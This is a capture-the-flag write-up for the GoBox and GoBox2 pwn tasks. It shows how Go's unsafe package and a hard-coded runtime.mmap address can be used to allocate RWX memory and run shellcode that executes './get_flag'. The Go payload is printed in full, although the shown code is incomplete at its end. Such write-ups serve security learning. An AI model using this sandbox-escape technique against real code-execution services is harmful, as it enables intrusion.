This is a writeup from Confidence CTF Teaser 2016 - GoBox and GoBox2 tasks from pwn category.

The program was a Go lang sandbox that asked for input - a valid Go program. Then it compiled and executed it. The binary was running on a server and the goal was to launch external program on it. Of course it would have been too simple to be able to just launch os.Exec or anything like that, so by debugging the program and reversing it I have found out that it filtered a list of keywords: [cmd, compress, crypto, database, debug, encoing, expvar, flag, go, html, image, internal, io, log, mime, net, os, path, reflect, runtime, syscall, testing, text].

After some research I have found out that a library called unsafe can be used, which allows to use raw pointers like in C (by the way, you can use raw pointers in C# or Java as well).

Of course like in modern compilers the stack was not executable, so one couldn’t simply create a buffer with shellcode and call it. What I have spotted is that if I allocated some memory in Go, the mmap syscall was in the GOT. After some time I have found out how to call a function using raw pointer initialized with an address. Thanks to that I could call mmap to allocate memory with RWX permissions and so write there the shellcode and then call it.

The funny and annoying thing was that the fmt.Println function I have used for debugging is a generic one and so each usage of it changed the addresses in GOT, so I had to change the address from time to time.

Below is the payload I have used to get both flags (it turned out that gobox1 had some other bug that allowed it to be solved easier and this solution was working on both challenges):

package main

import "fmt"
import "unsafe"

func main() {
    //var ffs = (uintptr)(0x4942a0); // syscall.mmap
    //var ffs2 = &ffs;
    //(*(*func(int, int, int, int, int, int))(unsafe.Pointer(&ffs2)))(0, 4096, 7, 34, -1, 0)

    var mmapAddr = (uintptr)(0x494330); // runtime.mmap
    var mmapPtr = &mmapAddr;

    var allocated = (*(*func(uintptr, int, int, int, int, int) (uintptr))(unsafe.Pointer(&mmapPtr)))(0, 4096, 7, 34, -1, 0)
    fmt.Printf("mmap allocated ptr=0x%x\n", allocated)

    var c = make([]byte, 1, 1)

    var shellcode = []byte("\xeb\x1a\x5e\x48\x31\xc0\x48\x89\x46\x10\xb8\x3b\x00\x00\x00\x48\x8d\x3e\x48\x8d\x56\x10\x48\x8d\x76\x10\x0f\x05\xe8\xe1\xff\xff\xff\x2e\x2f\x67\x65\x74\x5f\x66\x6c\x61\x67\x00")

    for i:=0; i<len(shellcode); i++ {
        var x = unsafe.Pointer(allocated + (uintptr)(i))
        var str = (*byte)(x);
        *str = shellcode[i];
        //fmt.Println("str=%p, *str=%d\n", str, *str)


    var pointerWrapper = &allocated;
    fmt.Println("Launching shellcode")
    fmt.Println("Shellcode over")